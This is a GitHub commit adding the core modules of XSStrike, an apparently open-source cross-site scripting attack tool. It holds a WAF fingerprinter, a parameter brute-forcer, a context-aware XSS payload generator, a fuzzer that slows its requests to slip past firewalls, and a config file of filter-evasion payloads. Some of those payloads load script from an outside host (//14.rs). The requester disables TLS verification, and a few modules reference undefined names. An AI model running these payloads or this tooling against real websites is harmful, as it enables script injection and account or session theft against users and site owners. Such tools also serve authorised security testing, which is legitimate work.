Add files via upload

This commit is contained in:
Somdev Sangwan
2018-10-27 18:58:52 +05:30
committed by GitHub
parent d63b3cd810
commit 0d3f25bbee
17 changed files with 725 additions and 0 deletions

32
core/arjun.py Normal file
View File

@@ -0,0 +1,32 @@
import re
import concurrent.futures
from core.requester import requester
from core.colors import good, info, green, end
from core.config import blindParams, xsschecker, threadCount
def checky(param, paraNames, url, headers, GET, delay):
if param not in paraNames:
response = requester(url, {param : xsschecker}, headers, GET, delay).text
if '\'%s\'' % xsschecker in response or '"%s"' % xsschecker in response or ' %s ' % xsschecker in response:
paraNames[param] = ''
print('%s Valid parameter found : %s%s%s' % (good, green, param, end))
def arjun(url, GET, headers, delay):
paraNames = {}
response = requester(url, {}, headers, GET, delay).text
matches = re.findall(r'<input.*?name=\'(.*?)\'.*?>|<input.*?name="(.*?)".*?>', response)
for match in matches:
try:
foundParam = match[1]
except UnicodeDecodeError:
continue
print('%s Heuristics found a potentially valid parameter: %s%s%s. Priortizing it.' % (good, green, foundParam, end))
if foundParam in blindParams:
blindParams.remove(foundParam)
blindParams.insert(0, foundParam)
threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)
futures = (threadpool.submit(checky, param, paraNames, url, headers, GET, delay) for param in blindParams)
for i, _ in enumerate(concurrent.futures.as_completed(futures)):
if i + 1 == len(blindParams) or (i + 1) % threadCount == 0:
print('%s Progress: %i/%i' % (info, i + 1, len(blindParams)), end='\r')
return paraNames

19
core/checker.py Normal file
View File

@@ -0,0 +1,19 @@
import re
import copy
from fuzzywuzzy import fuzz
from core.utils import replacer
from core.config import xsschecker
from urllib.parse import quote_plus
from core.requester import requester
def checker(url, params, headers, GET, delay, payload):
checkString = 'st4r7' + payload
paramsCopy = copy.deepcopy(params)
response = requester(url, replacer(paramsCopy, xsschecker, checkString), headers, GET, delay).text.lower()
# Itretating over the reflections
efficiencies = []
for m in re.finditer('st4r7', response):
reflected = response[m.start():m.start()+len(checkString)]
efficiency = fuzz.partial_ratio(reflected, checkString.lower())
efficiencies.append(efficiency)
return efficiencies

12
core/colors.py Normal file
View File

@@ -0,0 +1,12 @@
white = '\033[97m'
dgreen = '\033[32m'
green = '\033[92m'
red = '\033[91m'
yellow = '\033[93m'
end = '\033[0m'
back = '\033[7;91m'
info = '\033[93m[!]\033[0m'
que = '\033[94m[?]\033[0m'
bad = '\033[91m[-]\033[0m'
good = '\033[92m[+]\033[0m'
run = '\033[97m[~]\033[0m'

75
core/config.py Normal file
View File

@@ -0,0 +1,75 @@
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
minEfficiency = 90
delay = 0
threadCount = 10
timeout = 7
badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript')
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
jFillings = ('-', '*', ';', '/')
lFillings = ('', ' x')
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
eventHandlers = { # Event handlers and the tags compatible with them
'ontoggle': ['details'],
'onpointerenter': ['d3v', 'details', 'html', 'a'],
'onmouseover': ['a', 'html', 'd3v']
}
functions = ( # JavaScript functions to get a popup
'[8].find(confirm)', 'confirm()',
'(confirm)()', 'co\u006efir\u006d()',
'(prompt)``', 'a=prompt,a()')
payloads = ( # Payloads for filter & WAF evasion
'\'"</Script><Html Onmouseover=(confirm)()//'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
'<deTails open oNToggle=confi\u0072m()>',
'<img sRc=l oNerrOr=(confirm)() x>',
'<svg/x=">"/onload=confirm()//',
'<svg%0Aonload=%09((pro\u006dpt))()//',
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
'<sCript x>confirm``</scRipt x>',
'<Script x>prompt()</scRiPt x>',
'<sCriPt sRc=//14.rs>',
'<embed//sRc=//14.rs>',
'<base href=//14.rs/><script src=/>',
'<object//data=//14.rs>',
'<s=" onclick=confirm``>clickme',
'<svG oNLoad=co\u006efirm&#x28;1&#x29>',
'\'"><y///oNMousEDown=((confirm))()>Click',
'<a/href=javascript&colon;co\u006efirm&#40;&quot;1&quot;&#41;>clickme</a>',
'<img src=x onerror=confir\u006d`1`>',
'<svg/onload=co\u006efir\u006d`1`>')
fuzzes = ( # Fuzz strings to test WAFs
'<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',
'<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',
'<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',
'<details x=y//', '<a href=x//', '<emBed x=y>', '<object x=y//', '<bGsOund sRc=x>',
'<iSinDEx x=y//', '<aUdio x=y>', '<script x=y>', '<script//src=//', '">payload<br/attr="',
'"-confirm``-"', '<test ONdBlcLicK=x>', '<test/oNcoNTeXtMenU=x>', '<test OndRAgOvEr=x>')
headers = {
'User-Agent' : '$',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'en-US,en;q=0.5',
'Accept-Encoding' : 'gzip,deflate',
'Connection' : 'close',
'DNT' : '1',
'Upgrade-Insecure-Requests' : '1',
}
blindParams = ['redirect','redir','url','link','goto','debug','_debug','test','get','index','src','source','file',
'frame','config','new','old','var','rurl','return_to','_return','returl','last','text','load','email',
'mail','user','username','password','pass','passwd','first_name','last_name','back','href','ref','data','input',
'out','net','host','address','code','auth','userid','auth_token','token','error','keyword','key','q','query','aid',
'bid','cid','did','eid','fid','gid','hid','iid','jid','kid','lid','mid','nid','oid','pid','qid','rid','sid',
'tid','uid','vid','wid','xid','yid','zid','cal','country','x','y','topic','title','head','higher','lower','width',
'height','add','result','log','demo','example','message']

30
core/dom.py Normal file
View File

@@ -0,0 +1,30 @@
import re
from core.colors import red, end, yellow
def dom(response, silent=False):
result = False
highlighted = []
response = response.split('\n')
SOURCES_RE = r"""location\.|\.([.\[]\s*["']?\s*arguments|dialogArguments|innerHTML|write|open|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\b|(localStorage|sessionStorage|Database)\b"""
SINKS_RE = r"""( (src|href|data|location|code|value|action)=)|(replace|assign|navigate|getResponseHeader|open|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\("""
num = 1
for newLine in response:
line = newLine
pattern = re.findall(SOURCES_RE, line)
for grp in pattern:
source = ''.join(grp)
line = line.replace(source, yellow + source + end)
pattern = re.findall(SINKS_RE, line)
for grp in pattern:
sink = ''.join(grp)
line = line.replace(sink, red + sink + end)
if line != newLine:
highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
num += 1
if highlighted and not silent:
print (red + ('-' * 60) + end)
result = True
for line in highlighted:
print (line)
print (red + ('-' * 60) + end)
return result

30
core/filterChecker.py Normal file
View File

@@ -0,0 +1,30 @@
from core.utils import replacer
from core.checker import checker
from core.config import xsschecker
from core.requester import requester
def filterChecker(url, params, headers, GET, delay, occurences):
environments = set(['<', '>'])
sortedEfficiencies = {}
for i in range(len(occurences.values())):
sortedEfficiencies[i] = {}
for occurence in occurences.values():
environments.add(occurence['context'][1])
location = occurence['context'][0]
if location == 'comment':
environments.add('-->')
elif location == 'script':
environments.add('</scRipT/>')
for environment in environments:
if environment == '':
efficiencies = [100 for i in range(len(occurences))]
else:
efficiencies = checker(url, params, headers, GET, delay, environment)
if not efficiencies:
for i in range(len(occurences)):
efficiencies.append(0)
for i, efficiency in zip(range(len(efficiencies)), efficiencies):
sortedEfficiencies[i][environment] = efficiency
for efficiency, occurence in zip(sortedEfficiencies.values(), occurences.values()):
occurence['score'] = efficiency
return occurences

50
core/fuzzer.py Normal file
View File

@@ -0,0 +1,50 @@
import copy
from time import sleep
from random import randint
from core.utils import replacer
from urllib.parse import quote_plus
from core.requester import requester
from core.config import fuzzes, xsschecker
from core.colors import end, red, white, green, yellow, run, bad, good, info, que
def counter(string):
special = '\'"=/:*&)(}{][><'
count = 0
for char in list(string):
if char in special:
count += 1
return count
def fuzzer(url, params, headers, GET, delay, WAF):
for fuzz in fuzzes:
if delay == 0:
delay = 6
t = delay + randint(delay, delay * 2) + counter(fuzz)
sleep(t)
paramsCopy = copy.deepcopy(params)
try:
response = requester(url, replacer(paramsCopy, xsschecker, fuzz), headers, GET, delay/2)
except:
print ('\n%s WAF is dropping suspicious requests.' % bad)
if delay == 0:
print ('%s Delay has been increased to %s6%s seconds.' % (info, green, end))
delay += 6
limit = (delay + 1) * 50
timer = -1
while timer < limit:
print ('\r%s Fuzzing will continue after %s%i%s seconds.\t\t' % (info, green, limit, end), end='\r')
limit -= 1
sleep(1)
try:
requests.get(url, timeout=5, cookies=cookie)
print ('\n%s Pheww! Looks like sleeping for %s%i%s seconds worked!' % (good, green, (delay + 1) * 2), end)
except:
print ('\n%s Looks like WAF has blocked our IP Address. Sorry!' % bad)
break
if fuzz.lower() in response.text.lower(): # if fuzz string is reflected in the response
result = ('%s[passed] %s' % (green, end))
elif str(response.status_code)[:1] != '2': # if the server returned an error (Maybe WAF blocked it)
result = ('%s[blocked] %s' % (red, end))
else: # if the fuzz string was not reflected in the response completely
result = ('%s[filtered]%s' % (yellow, end))
print ('%s %s' % (result, fuzz))

98
core/generator.py Normal file
View File

@@ -0,0 +1,98 @@
from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
def generator(occurences, response):
scripts = extractScripts(response)
index = 0
vectors = {10 : set(), 9 : set(), 8 : set(), 7 : set(), 6 : set(), 5 : set(), 4 : set(), 3 : set(), 2 : set(), 1 : set()}
for i in occurences:
context = occurences[i]['context'][0]
breaker = occurences[i]['context'][1]
special = occurences[i]['context'][2]
if special not in badTags:
special = ''
elif context == 'attribute':
special = '</' + special + '/>'
else:
special = ''
attribute = occurences[i]['context'][3]
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == breakerEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
for payload in payloads:
vectors[10].add(payload)
elif context == 'attribute':
breakerEfficiency = occurences[i]['score'][breaker]
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if greatBracketEfficiency == 100 and breakerEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
for payload in payloads:
if breaker:
payload = payload.replace(breaker, breaker + '>')
else:
payload = '>' + payload
vectors[10].add(payload)
if breakerEfficiency == 100:
for filling in fillings:
for function in functions:
vector = breaker + filling + 'auTOfOcuS' + filling + 'OnFoCUs' + '=' + breaker + function
vectors[6].add(vector)
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == breakerEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
for payload in payloads:
vectors[10].add(payload)
elif context == 'script':
try:
script = scripts[index]
except IndexError:
script = scripts[0]
closer = jsContexter(script)
validBreakers = ['\'', '"', '`']
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('</script/>')
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
if not breaker:
closer = closer[1:]
for filling in jFillings:
for function in functions:
vector = closer + filling + function + suffix
vectors[7].add(vector)
elif breakerEfficiency >= 83:
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if breaker == '':
filling = ''
vector = '\\' + breaker + closer + filling + function + suffix
vectors[6].add(vector)
index += 1
return vectors

68
core/htmlParser.py Normal file
View File

@@ -0,0 +1,68 @@
import re
from core.config import badTags
from core.config import xsschecker
def htmlParser(response):
tags = [] # tags in which the input is reflected
locations = [] # contexts in which the input is reflected
attributes = [] # attribute names
environments = [] # strings needed to break out of the context
parts = response.split(xsschecker)
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
for part in parts: # iterate over the parts
deep = part.split('>')
if '</script' in deep[0]:
location = 'script'
elif '</' in deep[0]:
location = 'html'
elif deep[0][-2:] == '--':
location = 'comment'
else:
location = 'script'
for char in part:
if char == '<':
location = 'attribute'
break
locations.append(location) # add location to locations list
num = 0 # dummy value to keep record of occurence being processed
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
for loc in range(len(toLook)): # interate over the chars
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
environments.append(toLook[loc]) # add it to enviornemts list
tokens = response.split('<')
goodTokens = [] # tokens which contain xsschecker
for token in tokens: # iterate over tokens
if xsschecker in token: # if xsschecker is in token
goodTokens.append(token) # add it to goodTokens list
attrs = token.split(' ')
for attr in attrs:
if xsschecker in attr:
attributes.append(attr.split('=')[0])
break
try:
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
except:
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
tags.append(tag) # add the tag to the tags
break
elif toLook[loc] == '<':
if toLook[loc + 1] == '/':
tag = ''.join(toLook).split('</')[1].split('>')[0]
if tag in badTags:
environments.append('</' + tag + '/>')
else:
environments.append('')
tags.append(tag)
attributes.append('')
break
loc += 1
num += 1
occurences = {}
for i, loc, env, tag, attr in zip(range(len(locations)), locations, environments, tags, attributes):
occurences[i] = {}
if loc == 'comment':
value = '-->'
occurences[i]['context'] = [loc, env, tag, attr]
return occurences

24
core/jsContexter.py Normal file
View File

@@ -0,0 +1,24 @@
import re
from core.config import xsschecker
def jsContexter(script):
broken = script.split(xsschecker)
pre = broken[0]
pre = re.sub(r'(?s)\{.*?\}|(?s)\(.*?\)|(?s)".*?"|(?s)\'.*?\'', '', pre)
breaker = []
num = 0
for char in pre:
if char == '{':
breaker.append('}')
elif char == '(':
breaker.append(');')
elif char == '[':
breaker.append(']')
elif char == '/':
try:
if pre[num + 1] == '*':
breaker.append('*/')
except IndexError:
pass
num += 1
return ''.join(breaker[::-1])

56
core/photon.py Normal file
View File

@@ -0,0 +1,56 @@
# Let's import what we need
import tld
import sys
import json
from re import findall
import concurrent.futures
from urllib.parse import urlparse # for python3
from core.colors import run
from core.zetanize import zetanize
from core.requester import requester
from core.utils import getUrl, getParams
def photon(main_url, url, headers):
urls = set() # urls found
forms = [] # web forms
processed = set() # urls that have been crawled
storage = set() # urls that belong to the target i.e. in-scope
host = urlparse(url).netloc
url = getUrl(url, '', True)
schema = urlparse(main_url).scheme
params = getParams(url, '', True)
response = requester(url, params, headers, True, 0).text
forms.append(zetanize(response))
matches = findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
for link in matches: # iterate over the matches
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
if link[:4] == 'http':
if link.startswith(main_url):
urls.add(link)
elif link[:2] == '//':
if link.split('/')[2].startswith(host):
urls.add(schema + link)
else:
external.add(link)
elif link[:1] == '/':
urls.add(main_url + link)
else:
urls.add(main_url + '/' + link)
def rec(target):
print ('%s Parsing %s' % (run, target))
url = getUrl(target, '', True)
params = getParams(target, '', True)
if '=' in target:
inps = []
for name, value in params.items():
inps.append({'name': name, 'value': value})
forms.append({0: {'action': url, 'method': 'get', 'inputs': inps}})
response = requester(url, params, headers, True, 0).text
forms.append(zetanize(response))
from core.config import threadCount
threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)
futures = (threadpool.submit(rec, url) for url in urls)
for i, _ in enumerate(concurrent.futures.as_completed(futures)):
pass
return forms

19
core/prompt.py Normal file
View File

@@ -0,0 +1,19 @@
import os
import tempfile
def prompt(default=None):
editor = 'nano'
with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:
if default:
tmpfile.write(default)
tmpfile.flush()
child_pid = os.fork()
is_child = child_pid == 0
if is_child:
os.execvp(editor, [editor, tmpfile.name])
else:
os.waitpid(child_pid, 0)
tmpfile.seek(0)
return tmpfile.read().strip()

18
core/requester.py Normal file
View File

@@ -0,0 +1,18 @@
import time
import random
import warnings
import requests
warnings.filterwarnings('ignore') # Disable SSL related warnings
def requester(url, data, headers, GET, delay):
time.sleep(delay)
user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']
headers['User-Agent'] = random.choice(user_agents)
if GET:
response = requests.get(url, params=data, headers=headers, verify=False)
else:
response = requests.post(url, data=data, headers=headers, verify=False)
return response

30
core/updater.py Normal file
View File

@@ -0,0 +1,30 @@
import re
import os
from requests import get
from core.colors import run, que, good, info, red, end, green
def updater():
print('%s Checking for updates' % run)
changes = '''''' # Changes must be seperated by ;
latestCommit = get('https://raw.githubusercontent.com/s0md3v/XSStrike/master/xsstrike').text
if changes not in latestCommit: # just a hack to see if a new version is available
changelog = re.search(r"changes = '''(.*?)'''", latestCommit)
changelog = changelog.group(1).split(';') # splitting the changes to form a list
print('%s A new version of XSStrike is available.' % good)
print('%s Changes:' % info)
for change in changelog: # print changes
print('%s>%s %s' % (green, end, change))
currentPath = os.getcwd().split('/') # if you know it, you know it
folder = currentPath[-1] # current directory name
path = '/'.join(currentPath) # current directory path
choice = input('%s Would you like to update? [Y/n] ' % que).lower()
if choice != 'n':
print('%s Updating XSStrike' % run)
os.system('git clone --quiet https://github.com/s0md3v/XSStrike %s' % (folder))
os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' % (path, folder, path, path, folder))
print('%s Update successful!' % good)
else:
print('%s XSStrike is up to date!' % good)

88
core/utils.py Normal file
View File

@@ -0,0 +1,88 @@
import re
import random
from core.config import xsschecker
def extractHeaders(headers):
sorted_headers = {}
matches = re.findall(r'(.*):\s(.*)', headers)
for match in matches:
header = match[0]
value = match[1]
try:
if value[-1] == ',':
value = value[:-1]
sorted_headers[header] = value
except IndexError:
pass
return sorted_headers
def replacer(dic, toReplace, replaceWith):
for key in dic.keys():
if dic[key] == toReplace:
dic[key] = replaceWith
return dic
def getUrl(url, data, GET):
if GET:
return url.split('?')[0]
else:
return url
def extractScripts(response):
scripts = []
matches = re.findall(r'(?s)<script.*?>(.*?)</script>', response.lower())
for match in matches:
if xsschecker in match:
scripts.append(match)
return scripts
def randomUpper(string):
return ''.join(random.choice((x, y)) for x, y in zip(string.upper(),string.lower()))
def flattenParams(currentParam, params, payload):
flatted = []
for name, value in params.items():
if name == currentParam:
value = payload
flatted.append(name + '=' + value)
return '?' + '&'.join(flatted)
def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special):
vectors = []
r = randomUpper
for tag in tags:
if tag == 'd3v' or tag == 'a':
bait = 'z'
else:
bait = ''
for eventHandler in eventHandlers:
if tag in eventHandlers[eventHandler]:
for function in functions:
for filling in fillings:
for eFilling in eFillings:
for lFilling in lFillings:
for end in ends:
if tag == 'd3v' or tag == 'a':
if '>' in ends:
end = '>'
vector = vector = r(breaker) + special + '<' + r(tag) + filling + r(eventHandler) + eFilling + '=' + eFilling + function + lFilling + end + bait
vectors.append(vector)
return vectors
def getParams(url, data, GET):
params = {}
if GET:
if '=' in url:
data = url.split('?')[1]
if data[:1] == '?':
data = data[1:]
else:
data = ''
parts = data.split('&')
for part in parts:
each = part.split('=')
try:
params[each[0]] = each[1]
except IndexError:
params = None
return params

37
core/wafDetector.py Normal file
View File

@@ -0,0 +1,37 @@
import re
from core.requester import requester
def wafDetector(url, params, headers, GET, delay):
noise = '<script>alert(1)</script>' #a payload which is noisy enough to provoke the WAF
params['xss'] = noise
response = requester(url, params, headers, GET, delay) # Opens the noise injected payload
code = str(response.status_code)
response_headers = str(response.headers)
response_text = response.text.lower()
WAF_Name = ''
if code[:1] != '2':
if code == '406' or code == '501': # if the http response code is 406/501
WAF_Name = 'Mod_Security'
elif 'wordfence' in response_text:
WAF_Name = 'Wordfence'
elif code == '999': # if the http response code is 999
WAF_Name = 'WebKnight'
elif 'has disallowed characters' in response_text:
WAF_Name = 'CodeIgniter'
elif '<hr><center>nginx</center>' in response_text:
WAF_Name = 'nginx'
elif 'comodo' in response_text:
WAF_Name = 'Comodo'
elif 'sucuri' in response_text:
WAF_Name = 'Sucuri'
elif code == '419': # if the http response code is 419
WAF_Name = 'F5 BIG IP'
elif 'barra' in response_headers:
WAF_Name = 'Barracuda'
elif re.search(r'cf[-|_]ray', response_headers):
WAF_Name = 'Cloudflare'
elif 'AkamaiGHost' in response_headers:
WAF_Name = 'AkamaiGhost'
elif code == '403': # if the http response code is 403
WAF_Name = 'Unknown'
return WAF_Name

39
core/zetanize.py Normal file
View File

@@ -0,0 +1,39 @@
import re
def zetanize(response):
def e(string):
return string.encode('utf-8')
def d(string):
return string.decode('utf-8')
response = re.sub(r'(?s)<!--.*?-->', '', response)
forms = {}
matches = re.findall(r'(?i)(?s)<form.*?</form.*?>', response)
num = 0
for match in matches:
page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match)
method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match)
forms[num] = {}
forms[num]['action'] = d(e(page.group(1))) if page else ''
forms[num]['method'] = d(e(method.group(1)).lower()) if method else 'get'
forms[num]['inputs'] = []
inputs = re.findall(r'(?i)(?s)<input.*?>', response)
for inp in inputs:
inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp)
if inpName:
inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp)
inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp)
inpName = d(e(inpName.group(1)))
inpType = d(e(inpType.group(1)) )if inpType else ''
inpValue = d(e(inpValue.group(1))) if inpValue else ''
if inpType.lower() == 'submit' and inpValue == '':
inpValue = 'Submit Query'
inpDict = {
'name' : inpName,
'type' : inpType,
'value' : inpValue
}
forms[num]['inputs'].append(inpDict)
num += 1
return forms